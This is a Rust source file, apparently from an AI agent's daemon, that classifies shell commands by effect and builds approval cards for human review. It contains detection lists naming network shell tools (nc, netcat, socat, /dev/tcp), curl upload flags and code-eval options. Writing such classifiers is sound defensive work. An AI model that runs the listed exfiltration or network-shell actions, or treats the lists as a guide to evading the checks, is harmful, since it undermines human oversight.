1use crate::command_risk::structural_shell_invocations;
12use aidaemon_core::{CallEffects, EffectClass, EffectKey};
13
14#[derive(Debug, Clone, PartialEq, Eq)]
15pub struct CommandEffects {
16 pub observation_only: bool,
18 pub deletes: bool,
21 pub local_work_only: bool,
26 pub delete_targets: Option<Vec<String>>,
30}
31
32const OBSERVATION_PROGRAMS: &[&str] = &[
37 "ls", "cat", "head", "tail", "wc", "grep", "egrep", "fgrep", "rg", "find", "stat", "file",
38 "pwd", "echo", "printf", "which", "whoami", "id", "uname", "date", "du", "df", "tree", "sort",
39 "uniq", "cut", "tr", "diff", "cmp", "basename", "dirname", "realpath", "readlink", "jq", "ps",
40 "hostname", "sw_vers", "true", "git", "test", "[", "sleep", "uptime", "sysctl", "top",
41];
42
43const SYSTEM_BIN_DIRS: &[&str] = &[
44 "/bin",
45 "/usr/bin",
46 "/usr/local/bin",
47 "/opt/homebrew/bin",
48 "/sbin",
49 "/usr/sbin",
50];
51
52const DELETE_PROGRAMS: &[&str] = &["rm", "rmdir", "unlink", "shred"];
53
54const LOCAL_WORK_PROGRAMS: &[&str] = &[
60 "make",
61 "cmake",
62 "ninja",
63 "pytest",
64 "rustc",
65 "xcodebuild",
66 "mkdir",
67 "touch",
68 "cp",
69 "mv",
70 "ln",
71 "chmod",
72 "cd",
73 "rm",
74 "rmdir",
75 "unlink",
76];
77
78const LOCAL_WORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
79 (
80 "cargo",
81 &[
82 "build", "check", "test", "clippy", "fmt", "run", "bench", "doc", "tree", "metadata",
83 ],
84 ),
85 (
86 "git",
87 &[
88 "add",
89 "commit",
90 "status",
91 "diff",
92 "log",
93 "show",
94 "branch",
95 "switch",
96 "checkout",
97 "restore",
98 "stash",
99 "merge",
100 "rebase",
101 "reset",
102 "tag",
103 "rm",
104 "mv",
105 "init",
106 "worktree",
107 "rev-parse",
108 "ls-files",
109 "blame",
110 ],
111 ),
112 ("npm", &["test", "run", "build", "lint"]),
113 ("pnpm", &["test", "run", "build", "lint"]),
114 ("yarn", &["test", "run", "build", "lint"]),
115 ("go", &["build", "test", "vet", "fmt", "run"]),
116 ("swift", &["build", "test"]),
117];
118
119const DDEV_QUERY_SUBCOMMANDS: &[&str] = &["describe", "status", "st", "list", "version", "logs"];
121
122const DDEV_TOOL_QUERIES: &[(&str, &str, &[&str])] = &[
126 ("wp", "core", &["is-installed", "version"]),
127 ("wp", "option", &["get", "list"]),
128 (
129 "wp",
130 "plugin",
131 &["list", "status", "is-installed", "is-active"],
132 ),
133 (
134 "wp",
135 "theme",
136 &["list", "status", "is-installed", "is-active"],
137 ),
138 ("wp", "user", &["list", "get"]),
139 ("wp", "post", &["list", "get"]),
140];
141
142const DRUSH_QUERIES: &[&str] = &["status", "st", "core:status", "core-status", "pm:list"];
144
145const DDEV_TOOL_CODE_OPTIONS: &[&str] = &["--exec", "--require", "--eval", "--include", "--ssh"];
147
148fn ddev_query_ok(args: &[String]) -> bool {
153 if args.iter().any(|arg| {
154 DDEV_TOOL_CODE_OPTIONS
155 .iter()
156 .any(|option| arg == option || arg.starts_with(&format!("{option}=")))
157 }) {
158 return false;
159 }
160 let words: Vec<&str> = args
161 .iter()
162 .map(String::as_str)
163 .filter(|arg| !arg.starts_with('-'))
164 .collect();
165 match words.as_slice() {
166 [sub, ..] if DDEV_QUERY_SUBCOMMANDS.contains(sub) => true,
167 ["drush", command, ..] => DRUSH_QUERIES.contains(command),
168 [tool, command, sub, ..] => DDEV_TOOL_QUERIES
169 .iter()
170 .any(|(t, c, subs)| t == tool && c == command && subs.contains(sub)),
171 _ => false,
172 }
173}
174
175const FIND_MUTATING_FLAGS: &[&str] = &[
176 "-delete", "-exec", "-execdir", "-ok", "-okdir", "-fprint", "-fprint0", "-fprintf", "-fls",
177];
178
179const GIT_OBSERVATION_SUBCOMMANDS: &[&str] = &[
180 "status",
181 "log",
182 "diff",
183 "show",
184 "rev-parse",
185 "ls-files",
186 "blame",
187 "rev-list",
188];
189
190const WRAPPERS: &[&str] = &[
194 "sudo", "doas", "nice", "nohup", "timeout", "stdbuf", "time", "command", "exec", "xargs",
195 "env", "builtin", "ionice", "setsid", "{", "!", "if", "then", "else", "elif", "do", "while",
196 "until",
197];
198
199const NETWORK_PROGRAMS: &[&str] = &[
201 "curl",
202 "wget",
203 "http",
204 "https",
205 "xh",
206 "nc",
207 "ncat",
208 "netcat",
209 "telnet",
210 "ssh",
211 "scp",
212 "sftp",
213 "rsync",
214 "ftp",
215 "lftp",
216 "aria2c",
217 "gh",
218 "npx",
219 "bunx",
220 "uvx",
221 "svn",
222 "socat",
223 "ping",
224 "dig",
225 "host",
226 "nslookup",
227 "whois",
228 "tftp",
229 "mosh",
230 "rclone",
231 "aws",
232 "gcloud",
233 "kubectl",
234 "invoke-webrequest",
235];
236
237const POWERSHELL_OBSERVATIONS: &[&str] = &[
245 "get-content",
246 "gc",
247 "type",
248 "get-childitem",
249 "gci",
250 "dir",
251 "get-item",
252 "gi",
253 "get-itemproperty",
254 "gp",
255 "get-location",
256 "gl",
257 "test-path",
258 "resolve-path",
259 "rvpa",
260 "split-path",
261 "join-path",
262 "select-string",
263 "sls",
264 "get-date",
265 "get-process",
266 "gps",
267 "get-filehash",
268 "measure-object",
269 "measure",
270 "sort-object",
271 "select-object",
272 "select",
273 "compare-object",
274 "format-list",
275 "fl",
276 "format-table",
277 "ft",
278 "format-wide",
279 "fw",
280 "out-string",
281 "out-null",
282 "out-host",
283 "write-output",
284 "write",
285 "write-host",
286 "start-sleep",
287];
288
289const POWERSHELL_LOCAL_WORK: &[&str] = &[
293 "new-item",
294 "ni",
295 "md",
296 "set-content",
297 "sc",
298 "add-content",
299 "ac",
300 "out-file",
301 "copy-item",
302 "copy",
303 "cpi",
304 "move-item",
305 "move",
306 "mi",
307 "rename-item",
308 "ren",
309 "rni",
310 "set-location",
311 "sl",
312 "chdir",
313 "push-location",
314 "pushd",
315 "pop-location",
316 "popd",
317];
318
319const POWERSHELL_DELETES: &[&str] = &["remove-item", "ri", "del", "erase", "rd"];
322
323fn in_powershell_table(table: &[&str], program: &str) -> bool {
325 cfg!(windows) && table.iter().any(|name| name.eq_ignore_ascii_case(program))
326}
327
328fn powershell_args_plain(args: &[String]) -> bool {
330 !args
331 .iter()
332 .any(|arg| arg.contains(['{', '}', '$', '(', ')', '@', '`']))
333}
334
335fn is_powershell_observation(program: &str, args: &[String]) -> bool {
337 in_powershell_table(POWERSHELL_OBSERVATIONS, program) && powershell_args_plain(args)
338}
339
340fn is_program_observation(program: &str, args: &[String]) -> bool {
343 (OBSERVATION_PROGRAMS.contains(&program) && observation_args_ok(program, args))
344 || is_powershell_observation(program, args)
345}
346
347fn is_delete_program(program: &str) -> bool {
350 DELETE_PROGRAMS.contains(&program) || in_powershell_table(POWERSHELL_DELETES, program)
351}
352
353fn shell_text(command: &str) -> std::borrow::Cow<'_, str> {
358 if cfg!(windows) && command.contains('\\') {
359 std::borrow::Cow::Owned(command.replace('\\', "/"))
360 } else {
361 std::borrow::Cow::Borrowed(command)
362 }
363}
364
365const NETWORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
367 (
368 "git",
369 &[
370 "fetch",
371 "clone",
372 "pull",
373 "ls-remote",
374 "submodule",
375 "push",
376 "update",
377 ],
378 ),
379 (
380 "npm",
381 &[
382 "install", "add", "i", "ci", "exec", "update", "fetch", "search", "view", "info",
383 "publish",
384 ],
385 ),
386 (
387 "pnpm",
388 &[
389 "install", "add", "i", "dlx", "update", "fetch", "search", "view", "info", "publish",
390 ],
391 ),
392 (
393 "yarn",
394 &[
395 "install", "add", "i", "update", "fetch", "search", "view", "info", "publish",
396 ],
397 ),
398 ("pip", &["install", "download"]),
399 ("pip3", &["install", "download"]),
400 (
401 "cargo",
402 &[
403 "install", "add", "update", "fetch", "search", "view", "info", "publish",
404 ],
405 ),
406 ("bun", &["install", "add", "i"]),
407 ("uv", &["pip", "add", "sync"]),
408 ("brew", &["install", "update", "upgrade", "fetch"]),
409 ("go", &["get", "install", "download"]),
410 ("docker", &["pull", "run", "build", "push"]),
411 ("gem", &["install"]),
412 ("apt", &["install", "update"]),
413 ("apt-get", &["install", "update"]),
414 ("hg", &["pull", "clone"]),
415 ("openssl", &["s_client"]),
416];
417
418pub fn sends_remote_write(command: &str) -> bool {
424 expanded_commands(command).iter().any(|tokens| {
425 let args = &tokens[1..];
426 match basename(&tokens[0]) {
427 "curl" => curl_sends_write(args),
428 "wget" => wget_sends_write(args),
429 "git" => git_subcommand(args) == Some("push"),
430 _ => false,
431 }
432 })
433}
434
435fn writes_with_method(method: &str) -> bool {
436 !matches!(method.to_ascii_uppercase().as_str(), "GET" | "HEAD")
437}
438
439fn curl_sends_write(args: &[String]) -> bool {
440 let mut iter = args.iter();
441 while let Some(arg) = iter.next() {
442 if let Some(long) = arg.strip_prefix("--") {
443 let (name, inline) = match long.split_once('=') {
444 Some((name, value)) => (name, Some(value)),
445 None => (long, None),
446 };
447 if name == "request" {
448 let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
449 if method.is_none_or(|method| writes_with_method(&method)) {
450 return true;
451 }
452 } else if name.starts_with("data")
453 || name == "json"
454 || name.starts_with("form")
455 || name == "upload-file"
456 {
457 return true;
458 }
459 } else if let Some(cluster) = arg.strip_prefix('-').filter(|c| !c.is_empty()) {
460 for (at, c) in cluster.char_indices() {
462 match c {
463 'd' | 'F' | 'T' => return true,
464 'X' => {
465 let rest = &cluster[at + 1..];
466 let method = if rest.is_empty() {
467 iter.next().cloned()
468 } else {
469 Some(rest.to_string())
470 };
471 if method.is_none_or(|method| writes_with_method(&method)) {
472 return true;
473 }
474 break;
475 }
476 _ => {}
477 }
478 }
479 }
480 }
481 false
482}
483
484fn wget_sends_write(args: &[String]) -> bool {
485 let mut iter = args.iter();
486 while let Some(arg) = iter.next() {
487 let Some(long) = arg.strip_prefix("--") else {
488 continue;
489 };
490 let (name, inline) = match long.split_once('=') {
491 Some((name, value)) => (name, Some(value)),
492 None => (long, None),
493 };
494 match name {
495 "post-data" | "post-file" | "body-data" | "body-file" => return true,
496 "method" => {
497 let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
498 if method.is_none_or(|method| writes_with_method(&method)) {
499 return true;
500 }
501 }
502 _ => {}
503 }
504 }
505 false
506}
507
508fn git_subcommand(args: &[String]) -> Option<&str> {
511 let mut iter = args.iter();
512 while let Some(arg) = iter.next() {
513 if arg == "-C" || arg == "-c" {
514 iter.next();
515 } else if !arg.starts_with('-') {
516 return Some(arg);
517 }
518 }
519 None
520}
521
522pub fn fetches_network(command: &str) -> bool {
525 if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
526 return true;
527 }
528 expanded_commands(command).iter().any(|tokens| {
529 let program = basename(&tokens[0]);
530 let args = &tokens[1..];
531 if NETWORK_PROGRAMS.contains(&program) {
532 return true;
533 }
534 if program == "yarn" && args.iter().all(|arg| arg.starts_with('-')) {
535 return true;
536 }
537 if program == "git" {
538 let has = |word: &str| args.iter().any(|arg| arg == word);
539 if (has("remote") && has("update"))
540 || (has("archive") && args.iter().any(|arg| arg.starts_with("--remote")))
541 {
542 return true;
543 }
544 }
545 NETWORK_SUBCOMMANDS.iter().any(|(name, subs)| {
546 *name == program
547 && args
548 .iter()
549 .any(|arg| !arg.starts_with('-') && subs.contains(&arg.as_str()))
550 })
551 })
552}
553
554pub fn is_git_config_path(path: &str) -> bool {
566 let raw = path_components(path);
567 if raw.iter().any(|part| is_repo_config_component(part)) {
568 return true;
569 }
570 let expanded = expand_home(path);
571 let normalized = normalize_components(&path_components(&expanded));
572 if normalized.iter().any(|part| is_repo_config_component(part))
573 || normalized.windows(2).any(|pair| {
574 pair[0].eq_ignore_ascii_case(".config") && pair[1].eq_ignore_ascii_case("git")
575 })
576 {
577 return true;
578 }
579 let absolute = expanded.starts_with('/') || expanded.starts_with('\\');
580 if absolute
581 && normalized.len() == 2
582 && normalized[0].eq_ignore_ascii_case("etc")
583 && normalized[1].eq_ignore_ascii_case("gitconfig")
584 {
585 return true;
586 }
587 let under = |base: std::path::PathBuf| {
588 let base = normalize_components(&path_components(&base.to_string_lossy()));
589 absolute
590 && !base.is_empty()
591 && normalized.len() > base.len()
592 && normalized
593 .iter()
594 .zip(&base)
595 .all(|(a, b)| a.eq_ignore_ascii_case(b))
596 };
597 if dirs::home_dir().is_some_and(|home| under(home.join(".config").join("git"))) {
598 return true;
599 }
600 std::env::var_os("XDG_CONFIG_HOME")
601 .filter(|value| !value.is_empty())
602 .is_some_and(|xdg| under(std::path::PathBuf::from(xdg).join("git")))
603}
604
605fn path_components(path: &str) -> Vec<String> {
608 path.split(['/', '\\'])
609 .filter(|part| !part.is_empty())
610 .map(|part| {
611 if part == "." || part == ".." {
612 part.to_string()
613 } else {
614 part.trim_end_matches(['.', ' ']).to_string()
615 }
616 })
617 .filter(|part| !part.is_empty())
618 .collect()
619}
620
621fn normalize_components(parts: &[String]) -> Vec<String> {
622 let mut out: Vec<String> = Vec::new();
623 for part in parts {
624 match part.as_str() {
625 "." => {}
626 ".." => {
627 if out.last().is_some_and(|last| last != "..") {
628 out.pop();
629 } else {
630 out.push(part.clone());
631 }
632 }
633 _ => out.push(part.clone()),
634 }
635 }
636 out
637}
638
639fn is_repo_config_component(part: &str) -> bool {
640 [".git", ".gitattributes", ".gitmodules", ".gitconfig"]
641 .iter()
642 .any(|name| part.eq_ignore_ascii_case(name))
643}
644
645fn expand_home(path: &str) -> String {
646 let rest = ["~", "$HOME", "${HOME}"].iter().find_map(|prefix| {
647 path.strip_prefix(prefix)
648 .filter(|rest| rest.is_empty() || rest.starts_with(['/', '\\']))
649 });
650 match (rest, dirs::home_dir()) {
651 (Some(rest), Some(home)) => format!("{}{rest}", home.to_string_lossy()),
652 _ => path.to_string(),
653 }
654}
655
656pub fn root_holds_repository(root: &str, base: Option<&str>) -> bool {
660 let root = root.trim();
661 if root.is_empty() {
662 return false;
663 }
664 let mut path = std::path::PathBuf::from(expand_home(root));
665 if path.is_relative()
666 && let Some(base) = base.map(str::trim).filter(|base| !base.is_empty())
667 {
668 path = std::path::PathBuf::from(expand_home(base)).join(path);
669 }
670 path.join(".git").exists()
671}
672
673pub fn command_names_git_config_path(command: &str) -> bool {
677 names_git_config(command, 0)
678}
679
680fn names_git_config(command: &str, depth: usize) -> bool {
681 if depth > MAX_DEPTH {
682 return false;
683 }
684 let scanned = scan(command);
685 for segment in &scanned.segments {
686 let words = shell_words::split(segment)
687 .unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
688 for word in words {
689 let target = word.trim_start_matches(|c: char| {
690 c.is_ascii_digit() || matches!(c, '>' | '<' | '&' | '|')
691 });
692 let operand = word.split_once('=').map(|(_, value)| value);
693 if [Some(word.as_str()), Some(target), operand]
694 .into_iter()
695 .flatten()
696 .any(|candidate| !candidate.is_empty() && is_git_config_path(candidate))
697 {
698 return true;
699 }
700 if word.contains(char::is_whitespace) && names_git_config(&word, depth + 1) {
701 return true;
702 }
703 }
704 }
705 substitution_bodies(command)
706 .iter()
707 .any(|body| names_git_config(body, depth + 1))
708}
709
710pub fn command_effects(command: &str) -> CommandEffects {
711 let deletes = command.contains("$'")
714 || expanded_commands(command).iter().any(|tokens| {
715 let program = basename(&tokens[0]);
716 let args = &tokens[1..];
717 is_delete_program(program)
718 || (program == "find" && args.iter().any(|arg| arg == "-delete"))
719 || (program == "git" && args.iter().any(|arg| arg == "clean"))
720 });
721 CommandEffects {
722 observation_only: is_observation_only(command),
723 deletes,
724 local_work_only: is_local_work_only(command),
725 delete_targets: if command.contains("$'") {
726 None
727 } else {
728 delete_targets(command)
729 },
730 }
731}
732
733fn delete_targets(command: &str) -> Option<Vec<String>> {
741 let unreadable = |target: &str| {
742 target.is_empty() || target.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
743 };
744 let commands = expanded_commands(command);
745 let changes_directory = commands
746 .iter()
747 .any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
748 let mut targets: Vec<String> = Vec::new();
749 for tokens in &commands {
750 let program = basename(&tokens[0]);
751 let args = &tokens[1..];
752 let named: Vec<&String> = if is_delete_program(program) {
753 let mut options_done = false;
754 args.iter()
755 .filter(|arg| {
756 if options_done {
757 return true;
758 }
759 if arg.as_str() == "--" {
760 options_done = true;
761 return false;
762 }
763 !arg.starts_with('-')
764 })
765 .collect()
766 } else if program == "find" && args.iter().any(|arg| arg == "-delete") {
767 if args.first().is_none_or(|arg| arg.starts_with('-')) {
771 return None;
772 }
773 args.iter()
774 .take_while(|arg| !arg.starts_with(['-', '(', '!']))
775 .collect()
776 } else if program == "git" && args.iter().any(|arg| arg == "clean") {
777 return None;
778 } else {
779 continue;
780 };
781 if named.is_empty() || named.iter().any(|target| unreadable(target)) {
782 return None;
783 }
784 if changes_directory
785 && named
786 .iter()
787 .any(|target| !crate::BackendPath::is_absolute(target))
788 {
789 return None;
790 }
791 for target in named {
792 if !targets.contains(target) {
793 targets.push(target.clone());
794 }
795 }
796 }
797 Some(targets)
798}
799
800pub fn path_operands(command: &str) -> Option<Vec<String>> {
809 if command.contains("$'") {
810 return None;
811 }
812 let unreadable = |operand: &str| {
813 let rest = operand
814 .strip_prefix("~/")
815 .or_else(|| (operand == "~").then_some(""))
816 .unwrap_or(operand);
817 rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
818 };
819 let commands = expanded_commands(command);
820 let mut operands: Vec<String> = Vec::new();
821 for line in command.replace("\\\n", " ").split('\n') {
823 for target in scan(line).input_targets {
824 if unreadable(&target) || target.contains(['"', '\'']) {
825 return None;
826 }
827 if !operands.contains(&target) {
828 operands.push(target);
829 }
830 }
831 }
832 for tokens in &commands {
833 if matches!(
836 basename(&tokens[0]),
837 "cd" | "pushd" | "popd" | "xargs" | "parallel"
838 ) {
839 return None;
840 }
841 let mut options_done = false;
842 for arg in &tokens[1..] {
843 let operand = if options_done || !arg.starts_with('-') {
844 arg.as_str()
845 } else if arg == "--" {
846 options_done = true;
847 continue;
848 } else if let Some((_, value)) = arg.split_once('=') {
849 value
850 } else if arg.contains(['/', '~']) {
851 return None;
852 } else {
853 continue;
854 };
855 if operand.is_empty() {
856 continue;
857 }
858 if unreadable(operand) {
859 return None;
860 }
861 if !operands.iter().any(|known| known == operand) {
862 operands.push(operand.to_string());
863 }
864 }
865 }
866 Some(operands)
867}
868
869pub fn literal_path_operands(command: &str) -> Vec<String> {
876 let literal = |operand: &str| {
877 let rest = operand
878 .strip_prefix("~/")
879 .or_else(|| (operand == "~").then_some(""))
880 .unwrap_or(operand);
881 !operand.is_empty()
882 && !rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~', '"', '\''])
883 };
884 let commands = expanded_commands(command);
885 let moves = commands.iter().any(|tokens| {
886 tokens
887 .first()
888 .is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
889 });
890 let mut operands: Vec<String> = Vec::new();
891 let mut add = |operand: &str| {
892 let anchored =
893 crate::BackendPath::is_absolute(operand) || operand == "~" || operand.starts_with("~/");
894 if literal(operand)
895 && (anchored || !moves)
896 && !operands.iter().any(|known| known == operand)
897 {
898 operands.push(operand.to_string());
899 }
900 };
901 for line in command.replace("\\\n", " ").split('\n') {
902 for target in scan(line).input_targets {
903 add(&target);
904 }
905 }
906 for tokens in &commands {
907 let mut options_done = false;
908 for arg in tokens.iter().skip(1) {
909 if options_done || !arg.starts_with('-') {
910 add(arg);
911 } else if arg == "--" {
912 options_done = true;
913 } else if let Some((_, value)) = arg.split_once('=') {
914 add(value);
915 }
916 }
917 }
918 operands
919}
920
921fn is_local_work_only(command: &str) -> bool {
922 every_segment(command, &local_work_args_ok)
923}
924
925pub fn reaches_only_this_computer(command: &str) -> bool {
936 if sends_remote_write(command) {
937 return false;
938 }
939 every_segment(command, &|program, args| match program {
940 "cd" => true,
941 "ddev" => ddev_query_ok(args),
942 "curl" | "wget" => reads_only_local_sites(program, args),
943 _ => is_program_observation(program, args),
944 })
945}
946
947const DDEV_TOOL_CODE_COMMANDS: &[(&str, &str)] = &[
950 ("drush", "php:eval"),
951 ("drush", "php-eval"),
952 ("drush", "eval"),
953 ("drush", "ev"),
954 ("drush", "php:script"),
955 ("drush", "php-script"),
956 ("drush", "scr"),
957 ("drush", "php"),
958 ("drush", "php:cli"),
959 ("drush", "core:cli"),
960 ("drush", "cli"),
961 ("wp", "eval"),
962 ("wp", "eval-file"),
963 ("wp", "shell"),
964];
965
966pub fn acts_on_its_ddev_project(command: &str) -> bool {
976 if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
977 {
978 return false;
979 }
980 every_segment(command, &|program, args| {
981 program == "ddev"
982 && !args.iter().any(|arg| {
983 arg.contains("://")
984 || DDEV_TOOL_CODE_OPTIONS
985 .iter()
986 .any(|option| arg == option || arg.starts_with(&format!("{option}=")))
987 })
988 && match args
989 .iter()
990 .map(String::as_str)
991 .filter(|arg| !arg.starts_with('-'))
992 .collect::<Vec<_>>()
993 .as_slice()
994 {
995 [tool @ ("drush" | "wp"), command, ..] => !DDEV_TOOL_CODE_COMMANDS
996 .iter()
997 .any(|(t, c)| t == tool && c == command),
998 _ => false,
999 }
1000 })
1001}
1002
1003pub fn only_reads_this_computer(command: &str) -> bool {
1011 if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
1012 {
1013 return false;
1014 }
1015 every_segment(command, &|program, args| match program {
1016 "cd" => true,
1017 "ddev" => ddev_query_ok(args),
1018 "curl" => !curl_saves_files(args) && reads_only_local_sites(program, args),
1019 _ => is_program_observation(program, args),
1020 })
1021}
1022
1023pub fn only_reads(command: &str) -> bool {
1029 if command_effects(command).deletes || scan(command).writes_file || sends_remote_write(command)
1030 {
1031 return false;
1032 }
1033 every_segment(command, &|program, args| match program {
1034 "cd" => true,
1035 "ddev" => ddev_query_ok(args),
1036 "curl" => !curl_saves_files(args),
1037 _ => is_program_observation(program, args),
1038 })
1039}
1040
1041pub fn remote_inner_only_reads(command: &str) -> Option<bool> {
1049 remote_inner_script(command).map(|inner| only_reads(&inner))
1050}
1051
1052pub fn recognizably_changes(command: &str) -> bool {
1060 let text = remote_inner_script(command).unwrap_or_else(|| command.to_string());
1061 if command_effects(&text).deletes || scan(&text).writes_file || sends_remote_write(&text) {
1062 return true;
1063 }
1064 expanded_commands(&text).iter().any(|tokens| {
1065 let args = &tokens[1..];
1066 match basename(&tokens[0]) {
1067 "mkdir" | "touch" | "cp" | "mv" | "ln" | "chmod" | "chown" | "tee" | "install"
1068 | "patch" | "truncate" => true,
1069 "sed" => args
1070 .iter()
1071 .any(|arg| arg.starts_with("-i") || arg == "--in-place"),
1072 "apt" | "apt-get" | "yum" | "dnf" | "pip" | "pip3" | "npm" | "pnpm" | "yarn"
1073 | "gem" | "brew" => args.iter().any(|arg| arg == "install" || arg == "add"),
1074 "apk" => args.iter().any(|arg| arg == "add"),
1075 "git" => matches!(
1076 git_subcommand(args),
1077 Some("commit" | "add" | "apply" | "checkout" | "switch" | "merge" | "init")
1078 ),
1079 _ => false,
1080 }
1081 })
1082}
1083
1084fn remote_inner_script(command: &str) -> Option<String> {
1086 let segments: Vec<String> = scan(command)
1087 .segments
1088 .into_iter()
1089 .filter(|segment| !segment.trim().is_empty())
1090 .collect();
1091 let [segment] = segments.as_slice() else {
1092 return None;
1093 };
1094 let tokens = shell_words::split(segment).ok()?;
1095 let program = basename(tokens.first()?);
1096 let second = tokens.get(1).map(String::as_str);
1097 let third = tokens.get(2).map(String::as_str);
1098 let (start, valued): (usize, &[&str]) = match program {
1100 "docker" | "podman" if tokens.get(1).map(String::as_str) == Some("exec") => (
1101 2,
1102 &[
1103 "-e",
1104 "--env",
1105 "-u",
1106 "--user",
1107 "-w",
1108 "--workdir",
1109 "--env-file",
1110 ],
1111 ),
1112 "docker" | "podman" if second == Some("compose") && third == Some("exec") => (
1114 3,
1115 &["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
1116 ),
1117 "docker-compose" | "podman-compose" if second == Some("exec") => (
1118 2,
1119 &["-e", "--env", "-u", "--user", "-w", "--workdir", "--index"],
1120 ),
1121 "lxc" | "incus" if second == Some("exec") => {
1123 let dash = tokens.iter().position(|token| token == "--")?;
1124 return inner_text(&tokens[dash + 1..]);
1125 }
1126 "vagrant" if second == Some("ssh") => {
1128 let flag = tokens
1129 .iter()
1130 .position(|token| token == "-c" || token == "--command")?;
1131 return tokens.get(flag + 1).cloned();
1132 }
1133 "gcloud" if second == Some("compute") && third == Some("ssh") => {
1135 return tokens.iter().enumerate().find_map(|(index, token)| {
1136 if token == "--command" {
1137 tokens.get(index + 1).cloned()
1138 } else {
1139 token.strip_prefix("--command=").map(str::to_string)
1140 }
1141 });
1142 }
1143 "kubectl" if tokens.get(1).map(String::as_str) == Some("exec") => {
1144 let dash = tokens.iter().position(|token| token == "--")?;
1145 return inner_text(&tokens[dash + 1..]);
1146 }
1147 "ssh" => (
1148 1,
1149 &[
1150 "-p", "-i", "-l", "-o", "-F", "-J", "-b", "-c", "-D", "-E", "-L", "-R", "-W", "-m",
1151 "-O", "-Q", "-S", "-w",
1152 ],
1153 ),
1154 _ => return None,
1155 };
1156 let mut index = start;
1157 while let Some(token) = tokens.get(index) {
1158 if token == "--" {
1159 index += 1;
1160 break;
1161 }
1162 if !token.starts_with('-') {
1163 break;
1164 }
1165 index += if valued.contains(&token.as_str()) {
1166 2
1167 } else {
1168 1
1169 };
1170 }
1171 let rest = tokens.get(index + 1..)?;
1172 if program == "ssh" {
1175 return (!rest.is_empty()).then(|| rest.join(" "));
1176 }
1177 inner_text(rest)
1179}
1180
1181fn inner_text(tokens: &[String]) -> Option<String> {
1184 let first = tokens.first()?;
1185 if matches!(basename(first), "sh" | "bash" | "zsh" | "dash" | "ash") {
1186 let flag = tokens[1..].iter().position(|token| {
1187 token.starts_with('-') && !token.starts_with("--") && token.contains('c')
1188 })?;
1189 return tokens.get(flag + 2).cloned();
1190 }
1191 Some(shell_words::join(tokens))
1192}
1193
1194fn curl_saves_files(args: &[String]) -> bool {
1197 const LONG: &[&str] = &[
1198 "--output",
1199 "--remote-name",
1200 "--remote-name-all",
1201 "--dump-header",
1202 "--cookie-jar",
1203 "--trace",
1204 "--trace-ascii",
1205 "--stderr",
1206 "--libcurl",
1207 "--etag-save",
1208 "--hsts",
1209 "--alt-svc",
1210 "--create-dirs",
1211 "--output-dir",
1212 ];
1213 let to_null = |value: Option<&String>| value.is_some_and(|value| value == "/dev/null");
1214 args.iter().enumerate().any(|(index, arg)| {
1215 let next = args.get(index + 1);
1216 if arg == "--output" || arg == "-o" {
1217 return !to_null(next);
1218 }
1219 if let Some(value) = arg.strip_prefix("--output=") {
1220 return value != "/dev/null";
1221 }
1222 if LONG
1223 .iter()
1224 .any(|option| arg == *option || arg.starts_with(&format!("{option}=")))
1225 {
1226 return true;
1227 }
1228 if short_cluster_has(arg, &['O', 'D', 'c']) {
1229 return true;
1230 }
1231 if arg.starts_with('-')
1234 && !arg.starts_with("--")
1235 && let Some(at) = arg.find('o')
1236 {
1237 return if at + 1 == arg.len() {
1238 !to_null(next)
1239 } else {
1240 &arg[at + 1..] != "/dev/null"
1241 };
1242 }
1243 false
1244 })
1245}
1246
1247pub fn program_label(command: &str) -> String {
1251 let first = scan(command)
1253 .segments
1254 .into_iter()
1255 .filter_map(|segment| shell_words::split(&segment).ok())
1256 .find(|words| {
1257 words
1258 .iter()
1259 .find(|word| !is_env_assignment(word))
1260 .is_some_and(|program| !matches!(basename(program), "cd" | "pushd" | "popd"))
1261 })
1262 .unwrap_or_default();
1263 let mut words = first.iter().skip_while(|word| is_env_assignment(word));
1264 let Some(program) = words.next() else {
1265 return "a command".to_string();
1266 };
1267 let program = match basename(program) {
1268 "for" | "while" | "until" | "select" => return "a shell loop".to_string(),
1269 wrapper if WRAPPERS.contains(&wrapper) => words
1270 .find(|word| !word.starts_with('-'))
1271 .map(String::as_str),
1272 name => Some(name),
1273 };
1274 program
1275 .map(basename)
1276 .filter(|name| {
1277 !name.is_empty()
1278 && name
1279 .chars()
1280 .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.'))
1281 })
1282 .map_or_else(|| "a command".to_string(), str::to_string)
1283}
1284
1285pub fn command_card(line: &str, title: Option<String>) -> aidaemon_core::ApprovalCard {
1292 let effects = command_effects(line);
1293 let impact = if effects.deletes {
1294 Some(aidaemon_core::HighImpact::Deletes {
1295 targets: effects.delete_targets.unwrap_or_default(),
1296 })
1297 } else if sends_remote_write(line) {
1298 Some(aidaemon_core::HighImpact::Sends)
1299 } else {
1300 None
1301 };
1302 aidaemon_core::ApprovalCard {
1303 impact,
1304 ..aidaemon_core::ApprovalCard::new(aidaemon_core::CardAction::Command {
1305 line: crate::sanitize::redact_command_secrets(line),
1306 title,
1307 looks_inside: looked_inside(line),
1308 })
1309 }
1310}
1311
1312const FOLDER_LISTERS: &[&str] = &["ls", "tree", "du", "find", "stat"];
1315
1316pub fn looked_inside(command: &str) -> Vec<String> {
1325 if command_effects(command).deletes || scan(command).writes_file {
1326 return Vec::new();
1327 }
1328 let folders = std::cell::RefCell::new(Vec::<String>::new());
1329 let reads_only = every_segment(command, &|program, args| {
1330 let ok = match program {
1331 "cd" => true,
1332 "ddev" => ddev_query_ok(args),
1333 _ => is_program_observation(program, args),
1334 };
1335 if ok && FOLDER_LISTERS.contains(&program) {
1336 let mut folders = folders.borrow_mut();
1337 for operand in lister_operands(program, args) {
1338 if let Some(name) = folder_name(operand)
1339 && !folders.contains(&name)
1340 {
1341 folders.push(name);
1342 }
1343 }
1344 }
1345 ok
1346 });
